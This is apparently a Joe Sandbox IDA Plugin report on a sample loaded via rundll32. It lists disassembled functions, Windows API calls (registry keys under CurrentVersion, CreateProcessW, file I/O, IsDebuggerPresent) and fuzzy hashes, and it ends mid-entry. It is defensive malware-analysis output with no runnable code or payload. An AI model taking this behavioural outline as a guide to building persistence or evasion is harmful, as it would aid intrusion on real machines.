Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: ce92a222cee3054f9b214692782472e084edfefa6cf8eb0e4cfa46e8856a0af6
Instruction ID: d38d2ff41f534f75247d395e754aa7169c9bfb720fe319ef23d3bc21ac829400
Opcode Fuzzy Hash: ce92a222cee3054f9b214692782472e084edfefa6cf8eb0e4cfa46e8856a0af6
Instruction Fuzzy Hash: 88E092323810115AD32C1677E84CB7B279CFF8D7BBF0809E5F646C1094F66558827862

Uniqueness

Uniqueness Score: -1.00%

Function 045E3348 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(00000000,?,00000000,00000000,00000000,00100022,00000000,?,00000000), ref: 045E337F

Strings

", xrefs: 045E3350

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Create
String ID: "
API String ID: 2289755597-123907689
Opcode ID: d38980688c7e6c7f8e19a92929b9c7d7da31f253f7a91857b644a65d7eeb73ec
Instruction ID: eeab2db4570956569582bfe5e7f93bf468811e9a1171bf9737b4f9d68ab3fc22
Opcode Fuzzy Hash: d38980688c7e6c7f8e19a92929b9c7d7da31f253f7a91857b644a65d7eeb73ec
Instruction Fuzzy Hash: B3F012B5A00105BFFB1DDA9A8C15DBF76FEEFC8654F04C56DB90193144EAB1AD00A560

Uniqueness

Uniqueness Score: -1.00%

Function 045E2B80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,Software\Microsoft\Windows\CurrentVersion,00000000,00000000,00000000,00000000,045E2BD3,02D6B138,?,Exec,80000002,80000002,00000002,045E2E5C,Exec,Exec), ref: 045E2BA1

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 045E2B9F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Open
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 71445658-1019749484
Opcode ID: c590c86f721a2f8c3758ad85c0f98496ab9d82354f5b47c19152d26e446f360a
Instruction ID: 6fceb0144a138ba0eed4df42a2ad83123db5fd4a017d03e270cf065879f22777
Opcode Fuzzy Hash: c590c86f721a2f8c3758ad85c0f98496ab9d82354f5b47c19152d26e446f360a
Instruction Fuzzy Hash: DAD0A733508311BED7251E11DC04FAB7B9DBF88260F04CC41F14999058E2719850F761

Uniqueness

Uniqueness Score: -1.00%

Function 045E4C2C Relevance: 3.0, APIs: 2, Instructions: 33filestringCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(00000000,?), ref: 045E4C44
lstrcpynW.KERNEL32(?,?,00000400), ref: 045E4C60

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FileFindNextlstrcpyn
String ID:
API String ID: 1743206594-0
Opcode ID: 2c3fce34900a8da18ceacbe31d3fd25bddacff0860185e23db1c0d8c9db32716
Instruction ID: 209aa4c59d236b57d4d8ed8268220b270b522dbddcd896577f568d8a6bc44ac9
Opcode Fuzzy Hash: 2c3fce34900a8da18ceacbe31d3fd25bddacff0860185e23db1c0d8c9db32716
Instruction Fuzzy Hash: B7F082763582809BDB78DF61E8947BFB399FB84205F40482DE64AC2181FB78B805EB15

Uniqueness

Uniqueness Score: -1.00%

Function 0460032B Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,04606EC7,?,00000000,?,?,04607168,?,00000007,?,?,04607661,?,?), ref: 04600341
GetLastError.KERNEL32(?,?,04606EC7,?,00000000,?,?,04607168,?,00000007,?,?,04607661,?,?), ref: 0460034C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2a31dd5b2f7c896db23e9e8ac02670612ca86c0eab4eb51a4708fe7b2f0638de
Instruction ID: 56d4e553588016959fd4d60c4eb45c7dfea4ccef0c7ca004c45a10adc4e94b9d
Opcode Fuzzy Hash: 2a31dd5b2f7c896db23e9e8ac02670612ca86c0eab4eb51a4708fe7b2f0638de
Instruction Fuzzy Hash: DAE0CD361006196BDB2A2FA0FC4CB4A3B58FF40355F008020F70887190E7B89991C790

Uniqueness

Uniqueness Score: -1.00%

Function 045E2235 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(003A0043,00000000,771B3420,045E10DC,04E7A820,045E1393), ref: 045E223A
GetLastError.KERNEL32 ref: 045E2244

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: bb5332282b937662e44b34ee3bbddc2a9c6623ff2505c4843e9aa6e7ee68b20d
Instruction ID: 920b3db115c854432ea772c4cbe40427b9d7f865a41d30ff446f103550e076a1
Opcode Fuzzy Hash: bb5332282b937662e44b34ee3bbddc2a9c6623ff2505c4843e9aa6e7ee68b20d
Instruction Fuzzy Hash: 6FC04C356111305B47785A7A790C6976ED8EF055A57011594F905D2115E6548C4186E0

Uniqueness

Uniqueness Score: -1.00%

Function 02D2801E Relevance: 1.8, APIs: 1, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.1506428046.0000000002D28000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_2d28000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c0e046a6862a8be85dbd0077ad252be513c80438a867f18a80f2f9843f0f037
Instruction ID: 08bb59f882717dcf8eff102d3e54bfcaf513e80a5f655c8f823191524607e171
Opcode Fuzzy Hash: 0c0e046a6862a8be85dbd0077ad252be513c80438a867f18a80f2f9843f0f037
Instruction Fuzzy Hash: 2FF1DF309052698FCB69CF18C998BACBBB5BF49309F1481DAD449AB391C731AEC4DF14

Uniqueness

Uniqueness Score: -1.00%

Function 045E9D00 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 045E9E6B

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6d1f43dc696af5062ba921fcb13f5b1b0e9a5e2ae593ab70accbc4ced972996c
Instruction ID: 67efe71e7eb1e5767fc53727605db5b88538478eb92d0248e86a6305cd585377
Opcode Fuzzy Hash: 6d1f43dc696af5062ba921fcb13f5b1b0e9a5e2ae593ab70accbc4ced972996c
Instruction Fuzzy Hash: CC41A5B1A001159FDB18DF69D984A7EB7A9FB84310F148329E915DB385E730FA04DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02D2840A Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 02D28447

Memory Dump Source

Source File: 00000007.00000003.1506428046.0000000002D28000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_2d28000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 22298e58a8000a39cee68b6a8fc425fd8e3f3380594fe307dd9c147b61f1b79f
Instruction ID: ee66e7c01248b9824d861c40b935f22e8685da7b98b08ee365ef20174e986c3a
Opcode Fuzzy Hash: 22298e58a8000a39cee68b6a8fc425fd8e3f3380594fe307dd9c147b61f1b79f
Instruction Fuzzy Hash: 2F31A574A152688FCB6ACF18C894BA9B7B9AF49308F0440D9E58AA7341C770AF84CF14

Uniqueness

Uniqueness Score: -1.00%

Function 045E2137 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(FFFFFFFF,00000040,00000000,00000000,00000000,045E28A7,00000000,00000000,FFFFFFFF,00000000,FFFFFFFF,00000000,045E1EE6,00000004,00000040,00000000), ref: 045E2194

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a2bb9edd82725082d32b1565f434c59a70e1305ac9a32f8919b067482383f567
Instruction ID: dbb691b17ab5d2fd934f2d626863c63dfd9b7591ae155e5f1219c2c93992bf88
Opcode Fuzzy Hash: a2bb9edd82725082d32b1565f434c59a70e1305ac9a32f8919b067482383f567
Instruction Fuzzy Hash: 32F06D76654211FFDB19CFA9ED50E7A77A8FBC9720B06941DFA49C3200E275EC009BA0

Uniqueness

Uniqueness Score: -1.00%

Function 04600365 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,045F2FDB,?,?,045F5099,?,?,?,?,?,045F2EC9,045F2FDB,?,?,?,?), ref: 04600397

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2e89fc9db21b0c64720934d1324d6c4130d2b5bd6adef7784a7afb680b10b2c5
Instruction ID: 9ba62fa3e012808f2e692382529aa0cd8c2a26f5c67ab7fec4f557fc48c516bd
Opcode Fuzzy Hash: 2e89fc9db21b0c64720934d1324d6c4130d2b5bd6adef7784a7afb680b10b2c5
Instruction Fuzzy Hash: 8FE09331201623E7EB3F2665FC1075B7648EF51360F159151FDC5D62C0FB94F9419295

Uniqueness

Uniqueness Score: -1.00%

Function 045E2269 Relevance: 1.5, APIs: 1, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,04620F90,00000000,00000000,00000000,04000000,00000000,00000000,04621798,?), ref: 045E2290

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 97ec74fed7e37296778729ff348a28831d953cbf9e319e0debc7071a16dc5c4c
Instruction ID: b0a62a1c4f5f8987bf496bae3a85d37b7f999e56eda245f4c2dab4c2e47b3bae
Opcode Fuzzy Hash: 97ec74fed7e37296778729ff348a28831d953cbf9e319e0debc7071a16dc5c4c
Instruction Fuzzy Hash: C8E0B6B060061A7FFB14EBA5EC4AF7B73ACE740648F5048A8B911E2140E6B4AD085AA4

Uniqueness

Uniqueness Score: -1.00%

Function 045E28BC Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,0462B3A0,00000000,00000000,00000000,?,00000000,?,0462B3A0,045E208F,?,?,00000004,00000040,00000000,00000000), ref: 045E28CF

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 95055fefafebdda6c9cbb58a3155899609e814fcdbb146f7b8fc4f456b7eafc1
Instruction ID: f0e33943430c6ec1a3b6d4275a4039320fd397196060bd04144c280958087ec4
Opcode Fuzzy Hash: 95055fefafebdda6c9cbb58a3155899609e814fcdbb146f7b8fc4f456b7eafc1
Instruction Fuzzy Hash: DAE0ECA2200128BA5A249A5BAC08DABFBACEAA1AA47114066F905D2004E570FE45E6F0

Uniqueness

Uniqueness Score: -1.00%

Function 045E20F6 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,?,045E20F5,?,00000000,045E1DFD,?,00000000), ref: 045E2106

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 91febff7fdd9e3fd25576977bfc3cf41c39b621ce1310629cacb4c719d8f868e
Instruction ID: b627e5380c93cf8142e1ed3ec1b97008d75b2804a8401b5f7f35ff641a6b80a7
Opcode Fuzzy Hash: 91febff7fdd9e3fd25576977bfc3cf41c39b621ce1310629cacb4c719d8f868e
Instruction Fuzzy Hash: 87E04F72545101BBD32D8ABEEE08B357F69F785340F04D644B301816ACE637FA40FA11

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 045E5887 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 045E58DB
SetWindowTextW.USER32(?,?), ref: 045E590C

Part of subcall function 045E22A9: GetDlgItemTextW.USER32(000003FB,?,00000400,045E5329), ref: 045E22BA

Part of subcall function 045E2FDE: CharNextW.USER32(045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3051
Part of subcall function 045E2FDE: CharNextW.USER32(045E1393,00000000,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3062
Part of subcall function 045E2FDE: CharNextW.USER32(045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3067
Part of subcall function 045E2FDE: CharPrevW.USER32(045E1393,045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E307F

Strings

A, xrefs: 045E59D7
Exec, xrefs: 045E5A20, 045E5A2F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Char$Next$ItemText$PrevWindow
String ID: A$Exec
API String ID: 4089110348-2074005321
Opcode ID: 8679a02b510aab06eba8d7011f7b7f3c6f447edc05953a1d975086e54cdcf657
Instruction ID: 502882c7bbcfbb62793cf9ed632872910abd224cc0bc381a5381fcf79e8b12ab
Opcode Fuzzy Hash: 8679a02b510aab06eba8d7011f7b7f3c6f447edc05953a1d975086e54cdcf657
Instruction Fuzzy Hash: 51A1D671604309ABEB1C9FA6D894B7F77A8FBC4318F004929FA4297280FB74E9459B51

Uniqueness

Uniqueness Score: -1.00%

Function 045F3A83 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(000000FF,00000000,?,00000002,?,00000000), ref: 045F3B1B
GetLastError.KERNEL32 ref: 045F3B25
FindFirstFileW.KERNEL32(000000FF,?), ref: 045F3B3C
GetLastError.KERNEL32 ref: 045F3B47
FindClose.KERNEL32(00000000), ref: 045F3B53
___std_fs_open_handle@16.LIBCPMT ref: 045F3C0C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: c13c3f23cb2cd1c2b9c18c8e354300aa9d4b393b50df51c566e7d01362905975
Instruction ID: eb28c03e2fcb5b66f3ce501d7567e617096bd01f5e23756311969e88573dbf4c
Opcode Fuzzy Hash: c13c3f23cb2cd1c2b9c18c8e354300aa9d4b393b50df51c566e7d01362905975
Instruction Fuzzy Hash: 0671D274B016199FEB24CF28DC897AAB7B8FF05310F044295EE55E7380EB70A991DB52

Uniqueness

Uniqueness Score: -1.00%

Function 04608672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,04608990,00000002,00000000,?,?,?,04608990,?,00000000), ref: 0460870B
GetLocaleInfoW.KERNEL32(?,20001004,04608990,00000002,00000000,?,?,?,04608990,?,00000000), ref: 04608734
GetACP.KERNEL32(?,?,04608990,?,00000000), ref: 04608749

Strings

ACP, xrefs: 04608690
OCP, xrefs: 046086C6

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 997556c30ee34e21bd0cb3d1f50fc60c31d445d73c872f4263d10dae7eb74cec
Instruction ID: 1c5d84e744c3d8f9df05d1ebde83ca3215fef8a8bf115f2ecce7b2ed25b23830
Opcode Fuzzy Hash: 997556c30ee34e21bd0cb3d1f50fc60c31d445d73c872f4263d10dae7eb74cec
Instruction Fuzzy Hash: EC21C522754101A6DB3CEF55C904A9B73A6EFA4B54B47C824E906D7399FB32FD41C350

Uniqueness

Uniqueness Score: -1.00%

Function 04608847 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04600040: GetLastError.KERNEL32(?,00000008,04604FA9), ref: 04600044
Part of subcall function 04600040: SetLastError.KERNEL32(00000000,045F2FDB,0000000A,000000FF), ref: 046000E6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 04608953
IsValidCodePage.KERNEL32(00000000), ref: 0460899C
IsValidLocale.KERNEL32(?,00000001), ref: 046089AB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 046089F3
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 04608A12

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: d62b7058a49633ab13f1ff9b0060abd84e480954845b73b41b3f58f31a7356bc
Instruction ID: 0d76584031700235a8d8eaa97a06a6dbb34b0a13337d650c318bfca790a80bdc
Opcode Fuzzy Hash: d62b7058a49633ab13f1ff9b0060abd84e480954845b73b41b3f58f31a7356bc
Instruction Fuzzy Hash: A2513071A00205AFEB28FFA9DC44ABB77B8BF58704F048569E955E7290F770A9408B61

Uniqueness

Uniqueness Score: -1.00%

Function 04607EE3 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04600040: GetLastError.KERNEL32(?,00000008,04604FA9), ref: 04600044
Part of subcall function 04600040: SetLastError.KERNEL32(00000000,045F2FDB,0000000A,000000FF), ref: 046000E6

GetACP.KERNEL32(?,?,?,?,?,?,045FEB84,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 04607FA4
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,045FEB84,?,?,?,00000055,?,-00000050,?,?), ref: 04607FCF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 04608132

Strings

utf8, xrefs: 046080A1

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 407bf24c483edd9f5283df81a4ab15c383ed29609dc7af3e61392066cd3d1463
Instruction ID: ebd52e8faf155a9ed93200d522f8fbffe24929781effd2360e86c47fc0ac027f
Opcode Fuzzy Hash: 407bf24c483edd9f5283df81a4ab15c383ed29609dc7af3e61392066cd3d1463
Instruction Fuzzy Hash: 8A71B071600206AAEB2CFF75CC45BAB73A8EF54709F14C469E906972C0FAB4F940C6A5

Uniqueness

Uniqueness Score: -1.00%

Function 04600574 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04600601

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 78ed4d37c3d53e18c75ce14a6f865b4e3009643ed09ebbf578d290b4cadd435b
Instruction ID: cdf3e743409455a269ee56a396cd2ad5d1319e7e544c5cad1ba827fdbfab8740
Opcode Fuzzy Hash: 78ed4d37c3d53e18c75ce14a6f865b4e3009643ed09ebbf578d290b4cadd435b
Instruction Fuzzy Hash: 15B12832A042459FEB298F68D8807FFBBA5EF95314F15C16AD545AB3C1E235F901CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 045F4BC0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 045F4BCC
IsDebuggerPresent.KERNEL32 ref: 045F4C98
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 045F4CB8
UnhandledExceptionFilter.KERNEL32(?), ref: 045F4CC2

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 352f3db10862197318229aa865965feaead2fe0302f1eefbf6312fb227172bf4
Instruction ID: 65bee61dfcafcbbaf28c7b84ed839b4aecaaa80e66a1f75fb07ae67b8e231d1a
Opcode Fuzzy Hash: 352f3db10862197318229aa865965feaead2fe0302f1eefbf6312fb227172bf4
Instruction Fuzzy Hash: B5313875D0121DABEF20DFA0D9897CDBBB8BF08304F1041EAE508AB240EBB45A85DF45

Uniqueness

Uniqueness Score: -1.00%

Function 045F30F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,?,?,?,045EF41D,?,?), ref: 045F310C
FormatMessageA.KERNEL32(00001300,00000000,?,?,?,00000000,00000000,?,?,045EF41D,?,?), ref: 045F312E

Strings

